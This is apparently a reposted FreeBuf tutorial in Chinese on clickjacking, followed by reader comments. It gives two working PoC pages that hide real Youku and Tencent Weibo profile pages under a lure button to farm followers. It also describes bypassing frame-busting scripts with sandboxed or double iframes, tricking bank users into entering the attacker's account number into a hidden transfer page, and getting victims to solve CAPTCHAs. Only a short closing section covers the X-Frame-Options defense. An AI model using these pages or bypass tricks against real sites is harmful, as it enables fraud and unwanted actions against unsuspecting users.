CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

劫持

2017年5月23日 691点热度 0人点赞 0条评论
  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

浅析点击劫持攻击

ziwen2015-05-21共439501人围观 ,发现 13 个不明物体WEB安全

点击劫持(click jacking)估计搞安全的都对这四个字不陌生,一句话描述这种劫持:利用社工搭配目标站的不安全配置对用户造成危害。这种漏洞目前在国内一直不被重视,但前一阵子Facebook和YouTube纷纷爆出点击劫持导致大问题的漏洞,国外才开始关注此问题,但国内依然不理不睬,看起来很容易的漏洞,但真的可以造成很大的危害,此文目的既在此。

01 聊聊点击劫持

看到上图的你们,是不是都会去选择点击脱衣呢?两年前的我也会这样做,反正不点白不点,点开说不定有DUANG!

但实则不然,这张图后面大到有可能iframe了一个银行转账页面,小则可能是莫名其妙发出了不该发的消息,粉了不认识的人,或是一个广告。

这就是点击劫持,但今天肯定不是单纯介绍点击劫持是什么鬼,各位继续看。

02 实战

点击劫持是挖掘起来门道相对较少的,但不是最少的,因为越权表示不服。

当然肯定要懂一些html和css的前端技巧,这些参考w3school即可。

首先我们要创建一个poc页面,理论上所有点击劫持的Poc都大同小异,我就把我上面辣个点击脱衣的POC发出来吧,实际上那是优酷频道刷粉的POC。

<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>点击劫持 POC</title>
<style>
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
button {
position: absolute;
top: 230px;
left: 1200px;
z-index: 1;
width: 80px;
height:20px;
}
</style>
</head>
<body>
<button>点击脱衣</button>
<img src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg">
<iframe src="http://i.youku.com/u/UMjA0NTg4Njcy" scrolling="no"></iframe>
</body>
</html>

实际上我们普通的点击劫持挖掘过程中真正只有两个部分最主要,按钮(button)&页面(iframe)。

思路即为,找到有用的地方,查到坐标,放置按钮,放置诱惑信息,OK!

1、有用的地方即为想让用户点击的地方,比如转账按钮,删除某博文的按钮,赞按钮等。

2、坐标即为有用的按钮在页面中的位置,这个找起来可能比较麻烦,懂html以及css的则可以直接从目标站源码中找到坐标,不懂的这有两种好方法。win家族系统可以下载屏幕格尺工具量坐标。本人OSX,可以像我一样用便签mark一下目标,然后把iframe隐藏调节button到和便签一致的位置,也很简单。

3、找到坐标写到html里放置按钮。

4、诱惑信息自行想。

这样就构成了,是不是很简单?

当然 有些时候会有两个按钮或多个按钮,就需要自行搭配页面内容诱惑人们一个一个去点击。

附另外一实例:腾讯微博刷粉

 <code><!DOCTYPE html> 
<html>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> 
<head> 
<title>点击劫持 POC</title>
 <style> iframe { width: 1440px; height: 900px; position: absolute; top: -0px; left: -0px; z-index: 2; -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); } 
button { position: absolute; top: 250px; left: 770px; z-index: 1; width: 80px; height:20px; }
 </style>
 </head>
 <body>
 <button>点击脱衣</button> 
<img src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg"> <iframe src="http://search.t.qq.com/user.php?pos=436&k=东北保钓" scrolling="no"></iframe> 
</body> 
</html>
</code>

03 进阶

点击劫持常见防御方法的绕过:

JS防御

如if (top.location != self.location) {top.location=self.location;}

<iframe src="xxx" security="restricted" scrolling="no" sandbox="">

security="restricted"  为IE的禁止JS

sandbox=""  为HTML5的禁止JS

这样就达到了bypass的效果,但有时候我们想劫持的按钮也是js的 那样就比较蛋疼了,但可以参考下面的方法。

其他方法跳转进行防御

只要是强制跳转到目标站的防御方法,都可以用此方法绕过。

制作双重iframe,即最底层为目标站,二层为透明,这样还是能达到我们想要的效果。

让点击劫持更猥琐的搭配:

搭配输入框

以前曾发现加拿大某银行可以进行点击劫持,但需要用户输入转账的银行卡号和银行,那么我们就可以放几个框,并诱惑用户在框里输入我的银行卡号和银行,这样用户看起来输入到我们的框里,实际上输入到了银行转账的页面当中。

当然,在各种情况下也可以搭配各种其他的东西,这就要发挥你的想象了,点击劫持让钓鱼又上升了一个高度。

有验证码怎么办?

部分网站在点击转账或其他敏感按钮的时候,会有验证码来验证,这对点击劫持也是一个考验,那么我们就可以用我们的东西把页面覆盖起来,但留下验证码图片和输入框一部分不覆盖,通过社工让用户自己识别验证码并输入。

04 对于防御

X-FRAME-OPTIONS是目前最可靠的方法。

X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。

并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。

这个头有三个值:

DENY // 拒绝任何域加载
SAMEORIGIN // 允许同源域下加载
ALLOW-FROM // 可以定义允许frame加载的页面地址

php中设置:

header("X-FRAME-OPTIONS:DENY");

以上言论参考自点击劫持提出者的个人博文和互联网上资料,如有错误,敬请包涵。

*作者:ziwen,属FreeBuf原创奖励计划文章,未经许可禁止转载

ziwen

ziwen5 篇文章等级: 4级
|
|
  • 上一篇:1024妹:如何优雅的用Discuz! 7.2的SQL注入漏洞造福单身男
  • 下一篇:HTML5安全分析:本地存储
发表评论

已有 13 条评论

  • ninini 2015-05-21回复1楼

    点击劫持(click jacking)估计搞安全的都对这四个字不陌生,

    大兄弟 应该是 click hijacking……

    亮了(4)
    • Kyrios 2015-05-21回复

      @ ninini 可以简写成click jack的

      亮了(0)
  • Fiend520 (7级) 2015-05-21回复2楼

    很厉害的赶脚

    亮了(0)
  • kgra (1级) 2015-05-21回复3楼

    不同的分辨率情况下、两个按钮是否会出现不对应的情况
    是不是应该找种办法动态获取,比如两层要使用相同的css、js

    亮了(1)
  • 还好吧 2015-05-21回复4楼

    1、水;2、别说你行你来,因为这很菜,没兴趣;3、支持水贴

    亮了(0)
  • ziwen (4级)ziwen 终端机 编程 web渗透爱好者 2015-05-22回复5楼

    丢了一张很重要的图 @fb小编 求添加上

    亮了(1)
  • ziwen (4级)ziwen 终端机 编程 web渗透爱好者 2015-05-22回复6楼

    @ 还好吧 您觉得水但说不定能给别人提供一些帮助呢 而且我会尽力去把以后的文章水平提升的 ~谢谢建议咯

    亮了(2)
  • Jumbo (6级)论坛https://www.chinabaiker.com 2015-05-22回复7楼

    辣妹呢!!!!!!!!!

    亮了(2)
  • 灰姑娘 (1级) 2015-07-15回复8楼

    表哥 你来啦?

    亮了(0)
  • 95zz (1级)如果,我有理想的话。就是留给这个世界一抹值得百年回眸的惊艳! 2016-01-01回复9楼

    自己动手做了,太容易被看出来了。还得学啊

    亮了(0)
  • 呱呱 2016-07-28回复10楼

    你好,请问if (top.location != self.location) {top.location=self.location;} 这句加在哪可以防御点击劫持?

    亮了(0)
    • zixiaomuwu (1级) 2017-03-08回复

      @ 呱呱 加在真正的网页上

      亮了(0)
  • zixiaomuwu (1级) 2017-03-08回复11楼

    关于验证码,我觉得按照你的说法是没办法绕过的,因为真实页面全透明、在上方,你难以设置令他的验证码部分不透明。
    虽然点击劫持很水,但还是应该搞清楚谁在上谁在下

    亮了(0)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

ziwen

ziwen

ziwen 终端机 编程 web渗透爱好者

5 篇文章111 条评论

相关阅读

  • “点击劫持”:伪造Cookie提示弹窗诱使用户点击
  • 小漏洞大危害:点击劫持你的谷歌账户
  • [GooPass]利用点击劫持和CSRF对Google进行钓鱼攻击
  • FreeBuf公开课:轻松的方式科普什么是SQL注入攻击(第三集)
  • 又一钓鱼经典案列分析

特别推荐

关注我们 分享每日精选文章

不容错过

  • 极客DIY:利用树莓派制作一款口袋电脑饭团君2016-04-29
  • 有情有意,FreeBuf & 漏洞盒子新年招聘啦!thanks2016-02-15
  • 利用Chakra JIT绕过DEP和CFG腾讯玄武实验室2015-12-15
  • 2014年漏洞最多的操作系统:苹果Mac OS X、iOS和LinuxSphinx2015-02-26

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me